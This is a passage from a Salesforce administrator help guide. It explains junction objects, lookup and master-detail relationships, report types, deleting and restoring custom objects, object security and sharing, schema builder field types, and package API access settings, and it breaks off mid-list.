Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both
associated master records are deleted, the junction object record is deleted permanently and can't be restored.
Sharing access to a junction object record is determined by a user's sharing access to both associated master records and
the Sharing Setting option on the relationship field. See Custom Object Security on page 1757. For example, if the
sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to
have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only,
a user with Read-Only rights on the master records would have Read/Write access to the junction object.
You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on
junction objects.
In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:

Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.

The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete
the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary.
Roll-up summary fields that summarize data from the junction object can be created on both master objects.
Formula fields and validation rules on the junction object can reference fields on both master objects.
You can define Apex triggers on both master objects and the junction object.
A junction object can't be on the master side of another master-detail relationship.
You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
can't have the same master object.
Lookup Relationships
If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted:

Clear the value of this field This is the default. Clearing the field is a good choice when the field does

not have to contain a value from the associated lookup record.

1747

Create

Overview of Relationships

Dont allow deletion of the lookup record thats part of a lookup relationship This

option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built on
the relationship.
Delete this record also Available only if a custom object contains the lookup relationship, not if its contained
by a standard object. However, the lookup object can be either standard or custom. Choose when the lookup field
and its associated record are tightly coupled and you want to completely delete related data.

: Choosing Delete this record also can result in a cascade-delete. A cascade-delete bypasses security and sharing
settings, which means users can delete records when the target lookup record is deleted even if they dont have access to the
records. To prevent records from being accidentally deleted, cascade-delete is disabled by default. Contact Salesforce.com
to get the cascade-delete option enabled for your organization.
In a chain of lookup relationships, these behaviors work independently on each target field at each level. Say, for example,
field A is the target lookup of field B, which in turn is the target lookup of field C. You can have a delete restriction on
A and none on B, which means that A cant be deleted but B can. Once B is deleted, the relationship between A and B
no longer exists and C will hold an empty value for the lookup.
In a multilevel lookup relationship, these options might conflict. For example, in the scenario where field A is the target
lookup of field B, which in turn is the target lookup of field C, you might specify that A can delete B, but B cannot be
deleted because its in a relationship with C. If you try to delete A, youll get an error saying that B cant be deleted
because its linked to C.
Impact of Relationships on Reports
The type of relationship you create affects which standard report types are available and how they are categorized. These
report types determine which related objects can be included in the report:

Lookup relationships allow data from the two related objects to be joined in one report.
Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail
object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is
available based on each lookup.
Many-to-many relationships provide two standard report types that join the master objects and the junction object.
The report types are:
Primary master with junction object and secondary master in the primary master object's report category
Secondary master with junction object and primary master in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope
of records that can be displayed in the report.

The reporting impact of each relationship type is summarized in the following table:
Relationship Type

Standard Report Types

Report Type Category

Lookup

Object by itself

Based on the object

Object with first lookup


Object with second lookup
Object with third lookup

1748

Create

Customizing Custom Objects

Relationship Type

Standard Report Types

Report Type Category

Master-Detail

Master object by itself

Master object

Master object with detail object


Master object with detail object and
first lookup
Master object with detail object and
second lookup
Master object with detail object and
third lookup
Many-to-Many

Primary master object by itself

Primary master object

Secondary master object by itself

and

Primary master object with junction


object and secondary master object

Secondary master object

Secondary master object with junction


object and primary master object

Custom report types give you more flexibility to join data from multiple objects, including lookups as well as master-detail
relationships.
Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom
reports to become unusable due to the different standard report types available for each type of relationship.
We recommend that you test your custom reports immediately after converting the relationship type. If you
revert your relationship back to the original type, the reports are restored and become usable again.

See Also:
Overview of Relationships
Creating a Many-to-Many Relationship

Customizing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize custom objects:

Customize Application

Customize the user interface for your custom objects by:

1749

Create

Customizing Custom Objects

Creating a custom tab; see Defining Custom Tabs on page 1771


Creating custom fields and relationships; see Defining Custom Object Fields on page 1750
Adding customized buttons and links to perform actions or link to other pages or websites; see Defining Custom Buttons
and Links on page 1254
Defining which fields display for users on record detail and edit pages; see Building Page Layouts for Custom Objects on
page 1751
Specifying which fields display for users in search results, lookup dialogs, and in the key lists on custom object tabs; see
Customizing Search Layouts for Custom Objects on page 1752
Creating record types to display different picklist values and page layouts to different users based on their profiles; see
Creating Custom Object Record Types on page 1753

Defining Custom Object Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Divisions are not available in Database.com.

User Permissions Needed


To view and edit standard fields:

Customize Application

To create custom fields:

Customize Application

Custom object fields store the data for your custom object records.
Custom Fields for Custom Objects
You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 1075.
You can also create custom relationship fields to associate your custom object with another object in Salesforce. For more
information about relationships, see Overview of Relationships on page 1740.
Standard Fields for Custom Objects
Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields.
Field

Description

Created By

User who created the record.

Currency

Currency of the record if multicurrency is enabled.

Division

Division to which the custom object record belongs. Custom


objects that are detail objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.

1750

Create

Customizing Custom Objects

Field

Description

Last Modified By

User who most recently changed the record.

Name

Identifier for the custom object record. This name appears in


page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.

Owner

Assigned owner of the custom object record. If the custom


object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the detail side of a
master-detail relationship can't have sharing rules,
manual sharing, or queues, as these require the Owner
field.

See Also:
Customizing Custom Objects
Overview of Relationships

Building Page Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define page layouts for custom objects:

Customize Application

Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default
page layout that is created automatically when you create a custom object. You can also build your own page layout with related
lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the
Force.com API to manage custom data or build a custom user interface.
To define a page layout for a custom object:
1. Click Your Name > Setup > Create > Objects.
2. Select one of the custom objects in the list.
3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page
layout.
4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired.

1751

Create

Customizing Custom Objects

5. Edit the page layout just as you would any other page layout.
6. Click Save.

See Also:
What is a Custom Object?
Customizing Page Layouts
Customizing Custom Objects

Customizing Search Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define search layouts for custom objects:

Customize Application

You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on
custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users
in your organization.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a List Button Display Type.
1. Click Your Name > Setup > Create > Objects.
2. Select one of the custom objects in the list.
3. In the Search Layouts related list, click Edit next to the search layout you want to modify.
Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed
in the default All list view and as the default columns for any new list views. To view different columns, customize
the list view itself.
4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display.
5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should
display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

Select one or more items in the available list and click Add to add them to the layout.
Select one or more items in the selected list and click Remove to remove them from the layout.
Select one or more items in the selected list and click Up to move them higher in the list.
Select one or more items in the selected list and click Down to move them lower in the list.

6. Click Save.

1752

Create

Customizing Custom Objects

For more details about search layouts, see Notes on Search Layouts on page 1304.

See Also:
Customizing Search Layouts
Customizing Custom Objects

Creating Custom Object Record Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create record types for custom objects:

Customize Application

Create record types for a custom object to display different picklist values and page layouts to different users based on their
profiles. For more information about record types, see Managing Record Types on page 1268.
1.
2.
3.
4.

Click Your Name > Setup > Create > Objects.


Select the custom object.
Click New in the Record Types related list.
Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a description.
7. Select Active to activate the record type.
8. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the
checkbox in the header row to enable it for all profiles.
9. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox
in the header row to make it the default for all profiles.
10. Click Next.
11. Choose a page layout option to determine what page layout displays for records with this record type:

To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.

12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Customizing Custom Objects

1753

Customizing Standard Objects

About the Standard Object Limits Page

CUSTOMIZING STANDARD OBJECTS


About the Standard Object Limits Page
Available in: All Editions except Database.com

The standard object limits page shows details about your usage of customizations on an object, such as the custom fields youve
added or sharing rules youve applied. The items in the list vary depending on the object. When an item exceeds the limit
allowed for the object, or reaches 75% of the limit, a tip displays that suggests what you can do next.
You can refer to the standard object limits page when planning how you want to customize a particular standard object, or to
monitor the usage and limits of customizations on that object.
To access the standard object limits page, click Your Name > Setup > Customize, click the name of the desired standard
object, then click the limits option for that object.
Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your
organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
Salesforce Editions and Limits

Deleting Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To delete custom objects:

Customize Application

To delete custom objects:


1. Click Your Name > Setup > Create > Objects.
2. Next to the custom object, click Del.
3. When prompted, select the Yes, I want to delete the custom object checkbox to confirm, and click Delete.

Notes on Deleting Custom Objects

When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 15 days. During this time you can restore an object and the data

1754

Create

Deleting Custom Objects

stored in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If
a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges
message. For more information on restoring custom objects, see Managing Deleted Custom Objects on page 1756.
If youre approaching your limit for custom objects and need to delete some to create room for more, you need to hard
delete or erase them. Soft-deleted custom objects and their data count against your limits. To view a list of the maximum
number of custom objects, fields, and other items allowed in your organization, see Salesforce Editions and Limits on page
2076.
When you delete a custom object, Salesforce does the following:
Removes the object from Force.com AppExchange packages.
If the deleted object is on the detail side of a master-detail relationship, changes the master-detail relationship to a
lookup relationship.
Permanently erases:
-

The object's data records currently in the Recycle Bin


Custom tab, which is removed from any custom apps
List views for the object
Workflow rules and actions that use the object
Mobile configuration settings, including data sets, mobile views, and excluded fields
If the deleted object is on the detail side of a master-detail relationship:
-

Standard report types associated with this object


Reports based on standard report types

Hides, inactivates, or disables:


-

The custom object definition and all related definitions


The object's data records and all related data records
Custom report types for which this is the main object
Custom reports for which this is the main object
Custom formula fields on the object
Custom validation rules and approval processes on the object

Salesforce restores these items if you restore the custom object.

You can't delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom object
that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore
the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1250.
You can't delete a custom object if it is a target object in an analytic snapshot.
You can't delete a custom object that contains custom fields that are used in a roll-up summary field for another object.
Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts
for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time Salesforce
permanently removes any items relating to the deleted custom object.
You can't delete a custom object if it is referenced in:
Apex
A Visualforce page
An analytic snapshot

In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.

1755

Create

Managing Deleted Custom Objects

You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has
more than 100,000 child records, first delete an appropriate number of its child records.

See Also:
Managing Deleted Custom Objects

Managing Deleted Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To restore deleted custom objects:

Customize Application

To permanently delete custom objects:

Customize Application

When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 15 days. During this time you can restore an object and the data stored
in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If a user clicks
a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message.
If youre approaching your limit for custom objects and need to delete some to create room for more, you need to hard delete
or erase them. Soft-deleted custom objects and their data count against your limits.
To view a list of your deleted custom objects:
1. Click Your Name > Setup > Create > Objects.
2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number
of deleted custom objects in your organization. This link only displays when you have a deleted custom object.
3. Use the list of deleted custom objects to perform the following actions:

To view details about an object, click the label.


To permanently remove the custom object and its data, click Erase.
To restore the object and its data, click Undelete. Some attributes of deleted custom objects are not automatically
restored. To restore these manually, complete the following steps:
The developer name was changed to objectname_del. Edit the object to change the developer name.
The custom object's Deployment Status field was set to In Development. When all changes impacted by the
delete have been restored, edit the object to change the status to Deployed.
Add the custom object to any appropriate Force.com AppExchange packages. Salesforce automatically removes
deleted custom objects from packages that contain them.
Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required.
Rebuild any workflow rules on the object.
Reactivate any custom validation rules for the object.
Reactivate any approval processes for the object.
Open and save any custom formula fields on the custom object to enable them.

1756

Create

Custom Object Security

On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have
been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the
page layout is not edited while the object is deleted.
For custom report types where the object is not the main object, add the reference to the custom object back to the
custom report types. Reports based on the custom report type are automatically restored if not edited while the
object is deleted. Recreate any reports that have been edited.
If the deleted custom object is on the detail side of a master-detail relationship:
-

Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to
master-detail.
Reports based on the object are not restorable. Where appropriate, recreate the reports.

Note: It may take several hours before you can search for records in the object.

See Also:
Deleting Custom Objects

Custom Object Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Tabs are not available in Database.com.

Many different security settings work together so you can control access to your custom objects with great flexibility. Set
custom object security at the following different levels:

Tabdisplay the custom tab for the appropriate users based on their user profiles.
Objectset the access users have to create, read, edit, and delete records for each object.
Recordsset the default sharing model for all your users. This determines the access users have to custom object records
that they do not own.
Relationshipfor objects on the detail side of a master-detail relationship, specify the sharing access that users must have
to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing
Setting attribute of the master-detail relationship field on the detail object.
Fieldsset the level of access users have to fields on your custom object page layout.

The following requirements apply to custom objects with no master-detail relationship:


Action

Required Privileges

Create a record

Create permission. The user must have the tab displayed to


create a new record from the Create New drop-down list in
the sidebar.

1757

Create

Custom Object Security

Action

Required Privileges

View a record

Read permission and Public Read Only or Public


Read/Write sharing model if not the record owner.

Edit a record

Edit permission and Public Read/Write sharing model if


not the record owner.

Delete a record

Delete permission and must be the record owner or above


the record owner in the role hierarchy.

The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object:
Action

Required Privileges

Create a record

Create permission and either read or read/write access to


the related master record, depending on the value of the
Sharing Setting attribute of the master-detail relationship
field on the detail object.

View a record

Read permission and read access to the related master record.


If the record has two master records in a many-to-many
relationship, the user must have read access to both master
records.

Edit a record

Edit permission and either read or read/write access to the


related master record, depending on the value of the Sharing
Setting attribute of the master-detail relationship field on
the detail object.

Delete a record

Delete permission and either read or read/write access to


the related master record, depending on the value of the
Sharing Setting attribute of the master-detail relationship
field on the detail object.
When a user deletes a record that has related custom object
records, all related custom object records are deleted regardless
of whether the user has delete permission to the custom object.

Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify
relationships on the object or set organization-wide sharing defaults.

See Also:
Field-Level Security Overview
User Permissions
Object Permissions
Setting Your Organization-Wide Sharing Defaults
Defining Custom Objects

1758

Create

Schema Builder Overview

Schema Builder Overview


Available in: All Editions

Schema builder provides a dynamic environment to add new custom objects, custom fields, and relationships to your schema.
This eliminates the need to click from page to page to find the details of a master-detail relationship or to add a new custom
field to an object in your schema. For example, if youre using schema builder to view the details of your schema, you can add
a new custom object without leaving schema builder. The drag-and-drop interface lets you easily add a custom object or new
field, and saves the layout of your schema any time you move an object.
Schema builder provides details such as the field values, required fields, and how objects are related by displaying lookup and
master-detail relationships. You can view the details for both standard and custom objects in schema builder.
Schema builder is enabled by default and lets you add the following to your schema:

Custom Objects
Lookup Relationships
Master-Detail Relationships
Fields of the following types:

Auto Number
Formula
Roll-up Summary
Checkbox
Currency
Date
Date/Time
Email
Number
Percent
Phone
Picklist
Picklist (Multi-Select)
Text
Text (Encrypted)
Text Area
Long Text Area
Rich Text Area

1759

Create

Schema Builder Overview

URL

See Also:
Working with Schema Builder
Creating Objects with Schema Builder
Creating Fields with Schema Builder

Working with Schema Builder


Available in: All Editions

User Permissions Needed


To view objects in schema builder:

"Customize Application"

You can access schema builder in three ways:

Click Your Name > Setup > Schema Builder.


Click Your Name > Setup > Create > Objects. Then in the custom objects page, click Schema Builder.
Click Your Name > Setup. In the Quick Links box on the Force.com home page, click Schema Builder.

When working with schema builder:

Click on an object and move it to any space on the canvas. Schema builder saves the layout of your schema any time you
move an object.
Click Auto-Layout to automatically sort the layout of the objects in your schema.
Important: Once you click Auto-Layout, you can't undo it.

Click View Options to:


Display Element Names if you prefer system names, or Display Element Labels if you prefer text values.
Show/Hide Relationships
Show/Hide Legend

The Elements tab lets you drag and drop new custom objects and fields onto the canvas.
To create a new custom object, see Creating Objects with Schema Builder.
To create a new custom field, see Creating Fields with Schema Builder.

The Objects tab lets you select objects to display on the canvas.
Click the drop-down list in the sidebar to filter your list of objects:
-

All Objects

1760

Create

Schema Builder Overview

Selected Objects
Standard Objects
Custom Objects
System Objects

Note: Objects created outside of schema builder, such as through an app or the API, dont automatically
display on the canvas. Select the checkbox for the object created outside schema builder to display it on the
canvas.
To search for an object, type its name in the Quick Find... box.
Hover over an object in your list of objects and click to find it on the canvas.

Hover over relationship lines to show relationship details such as lookup and master-detail relationships. Click the name
of the object to find it on the canvas. You may want to hide relationships if your schema is taking too long to load.
To view the details of a field in a new window, click the element name or label and select View Field in New Window.
To edit properties of a custom field, click the element name or label and select Edit Field Properties....
To manage permissions of a custom field, click the element name or label and select Manage Field Permissions. Use the
dialog box that appears to manage the fields visibility and writability for all standard and custom profiles.
Click

to:

Hide Object on Canvas


View Object detail in a new window
View Page Layouts detail in a new window

Click Show More Fields to display all the fields of an object.


To zoom in, click

. To zoom out, click

Note: You can't save the level of zoom when closing schema builder.

To collapse the sidebar, click . To expand it, click .


The map in the lower right corner shows the overall layout of your objects on the canvas. Click on the map to navigate the
layout of your objects. To pan across the schema layout while zoomed in, click and hold the canvas while moving the
mouse.
To close the schema builder and save the layout of your objects, click Close.
Important: If your schema contains many objects and fields, it may cause long loading times. Click Hide Relationships
to improve schema builder performance.

See Also:
Schema Builder Overview
Creating Objects with Schema Builder
Creating Fields with Schema Builder

1761

Create

Schema Builder Overview

Creating Objects with Schema Builder


Available in: All Editions

User Permissions Needed


To create new custom objects in schema builder:

"Customize Application"

To create a new custom object with schema builder:


1. Click the Elements tab.
2. Click Object and drag it onto the canvas.
3. Enter information to define your object. See Schema Builder Custom Object Definition on page 1762 for a list of object
definitions.
4. Click Save.

Schema Builder Custom Object Definition


Available in: All Editions

Field

Description

Label

A name used to refer to the object in any user interface pages.

Plural Label

The plural name of the object. If you create a tab for this
object, this name is used for the tab.

Starts with a vowel sound

If its appropriate for your organizations default language,


check if your label should be preceded by "an" instead of "a."

Object Name

A unique name used to refer to the object when using the


API. In managed packages, this unique name prevents naming
conflicts on package installations. The Object Name field can
contain only underscores and alphanumeric characters. It must
be unique, begin with a letter, not include spaces, not end with
an underscore, and not contain two consecutive underscores.

Description

An optional description of the object. A meaningful


description helps you remember the differences between your
custom objects when youre viewing them in a list.

Record Name

The name used in page layouts, list views, related lists, and
search results.

Data Type

The type of field (text or auto-number) for the record name.


Records that have unique IDs instead of names use

1762

Create

Schema Builder Overview

Field

Description
auto-numbers. An auto-number is a unique number assigned
automatically. It is always a read-only field.

Allow Reports

Makes the data in the custom object records available for


reporting purposes.
To create reports on custom objects, choose the Other Reports
report type category unless the custom object has a relationship
with a standard object. When the custom object has a
master-detail relationship with a standard object, or is a lookup
object on a standard object, select the standard object for the
report type category instead.

Allow Activities

Allows users to associate tasks and scheduled calendar events


related to the custom object records. For more information,
see Notes on Enabling Activities for Custom Objects on page
1738.

Track Field History

Enables your organization to track changes to fields on the


custom object records, such as who changed the value of a
field, when it was changed, and what the value of the field
was before and after the edit. History data is available for
reporting, so users can easily create audit trail reports when
this feature is enabled.

Namespace Prefix

In a packaging context, a namespace prefix is a one to


15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers
on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your
namespace prefix must be globally unique across all Salesforce
organizations. It keeps your managed package under your
control exclusively.

Deployment Status

Indicates whether the custom object is visible to other users.


For more information, see Custom Objects Deployment Status
on page 1739.

Add Notes & Attachments...

Allows users to attach notes and attachments to custom object


records. This allows you to attach external documents to any
object record, in much the same way that you can add a PDF
or photo as an attachment to an email.
This option is only available when you are creating a new
object.

1763

Create

Schema Builder Overview

Creating Fields with Schema Builder


Available in: All Editions

User Permissions Needed


To create new fields in schema builder:

"Customize Application"

To create a new custom field with schema builder:


1. Click the Elements tab.
2. Click a field and drag it onto an object on the canvas. See Schema Builder Custom Field Definition on page 1765 for a list
of available fields.
3. Enter a Field Label.
The Field Name is automatically populated based on the field label you enter. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
Ensure that both the custom field name and label are not identical to the name and label of any existing standard or custom
field for that object. Identical values may result in unexpected behavior when you reference that name in a merge field.

If a standard field and custom field have matching names or labels, the merge field displays the value of the custom
field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.

For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also
have a standard field with the label Email, the merge field may not be able to distinguish between the standard and custom
field names. Make both the custom field name and label unique by adding a character to each, such as Email2 and
Email2__c, respectively.
4.
5.
6.
7.
8.
9.

Enter a Namespace Prefix.


Enter a Description of the custom field.
Enter Help Text to detail the purpose and function of a custom field.
Enter a Default Value to automatically insert a value of a custom field when a new record is created.
Depending on the custom field type you choose, enter any remaining field attributes.
Click Save.

1764

Create

Schema Builder Overview

Schema Builder Custom Field Definition


Available in: All Editions

Type

Description

Auto Number

Automatically assigns a unique number to each record. The


maximum length of any auto-number field is 30 characters,
20 of which are reserved for prefix or suffix text.

Formula

Allows users to automatically calculate values based on other


values or fields such as merge fields. See Building Formulas
on page 1147 and Operators and Functions on page 1203
Note: Salesforce uses the round half up tie-breaking
rule for numbers in formula fields. For example,
12.345 becomes 12.35 and 12.345 becomes 12.34.

Roll-Up Summary

Lookup Relationship

Automatically displays the record count of related records or


calculates the sum, minimum, or maximum value of related
records. The records must be directly related to the selected
record and on the detail side of a custom master-detail
relationship with the object that contains the roll-up summary
field. For example, a customfield called Total Number of
Guests displays the number of guest custom object records
in the Guests related list.
Creates a relationship between two records so you can associate
them with each other. For example, opportunities have a
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
If a lookup field references a record that has been deleted,
Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being
deleted if theyre in a lookup relationship. For more
information on lookup relationships, see Overview of
Relationships on page 1740.
Lookup relationship fields arent available in Personal Edition.
Lookup relationship fields to campaign members arent
available; however, lookup relationship fields from campaign
members to other objects are available.

1765

Create

Schema Builder Overview

Type

Description

Master-Detail Relationship

Creates a relationship between records where the master record


controls certain behaviors of the detail record such as record
deletion and security. For more information on relationships,
see Overview of Relationships on page 1740.
Available for custom objects only, although you can create a
master-detail relationship field on a custom object that links
to a standard object.
Master-detail relationships cant be used with campaign
members.

Checkbox

Allows users to check a box, indicating a true or false attribute


of a record. When using a checkbox field for a report or list
view filter, use True for checked values and False for
unchecked values. The import wizards and the weekly export
tool use 1 for checked values and 0 for unchecked values.

Currency

Allows users to enter a currency amount. The system


automatically formats the field as a currency amount. This can
be useful if you export data to a spreadsheet.
Note: Salesforce uses the round half even tie-breaking
rule for currency fields. For example, 23.5 becomes
24, 22.5 becomes 22, 22.5 becomes 22, and 23.5
becomes 24.
Values lose precision after 15 decimal places.

Date

Allows users to enter a date or pick a date from a popup


calendar. In reports, you can limit the data by specific dates
using any custom date field.

Date/Time

Allows users to enter a date or pick a date from a popup


calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.

Email

Allows users to enter an email address, which is validated to


ensure proper format. If this field is specified for contacts or
leads, users can choose the address when clicking Send an
Email. Note that you can't use custom email addresses for
mass emails.

1766

Create

Schema Builder Overview

Type

Description

Number

Allows users to enter any number. This is treated as a real


number and any leading zeros are removed.
Note: Salesforce uses the round half up tie-breaking
rule for number fields. For example, 12.345 becomes
12.35 and 12.345 becomes 12.34. Salesforce rounds
numbers referenced in merge fields according to the
user's locale, not the number of decimal of spaces
specified in the number field configuration.

Percent

Allows users to enter a percentage number, for example, '10'.


The system automatically adds the percent sign to the number.
Note: If the decimal value is greater than 15, and you
add a percent sign to the number, a runtime error
occurs.
Values lose precision after 15 decimal places.

Phone

Allows users to enter any phone number.


Salesforce automatically formats it as a phone number. See
Entering Phone Numbers on page 16.
If you are using Salesforce CRM Call Center, custom phone
fields are displayed with the button, allowing click-to-dial
functionality. Consequently, salesforce.com recommends that
you dont use a custom phone field for fax numbers.

Picklist

Allows users to select a value from a list you define.

Picklist (Multi-Select)

Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.

Text

Allows users to enter any combination of letters, numbers, or


symbols. You can set a maximum length, up to 255 characters.

Text (Encrypted)

Allows users to enter any combination of letters, numbers, or


symbols that are stored in encrypted form. You can set a
maximum length of up to 175 characters. Encrypted fields are
encrypted with 128-bit master keys and use the AES
(Advanced Encryption Standard) algorithm. You can archive,
delete, and import your master encryption key. To enable
master encryption key management, contact salesforce.com.
See also Managing Master Encryption Keys on page 720.

Text Area

Allows users to enter up to 255 characters that display on


separate lines similar to a Description field.

1767

Create

Managing API and Dynamic Apex Access in Packages

Type

Description

Text Area (Long)

Allows users to enter up to 32,768 characters that display on


separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,768 characters is allowed. Every time
you press Enter within a long text area field, a linebreak and
a return character are added to the text. These two characters
count toward the 32,768 character limit. This data type is not
available for activities or products on opportunities.

Text Area (Rich)

With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,768 characters, inclusive of all the
formatting and HTML tags. Only the first 254 characters in
a rich text area or a long text area are displayed in a report.
The maximum size for uploaded images is 1MB. Only gif,
jpeg and png file types are supported.

URL

Allows users to enter up to 255 characters of any valid website


address. When users click on the field, the URL opens in a
separate browser window. Only the first 50 characters are
displayed on the record detail pages.

Managing API and Dynamic Apex Access in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit API and dynamic Apex access for a package you have Create AppExchange packages
created or installed:
To accept or reject package API and dynamic Apex access for Download AppExchange packages
a package as part of installation:

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:

The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom

1768

Create

Managing API and Dynamic Apex Access in Packages

objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installers organization or objects installed by unrelated
packages.

Setting API and Dynamic Apex Access in Packages


To change package access privileges in a package you or someone in your organization has created:
1. Click Your Name > Setup > Create > Packages.
2. Select a package.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access
setting for objects, users do not have access to those objects from the package components, even if the user has the Modify
All Data and View All Data permissions.
Use the API Access field to:
Enable Restrictions
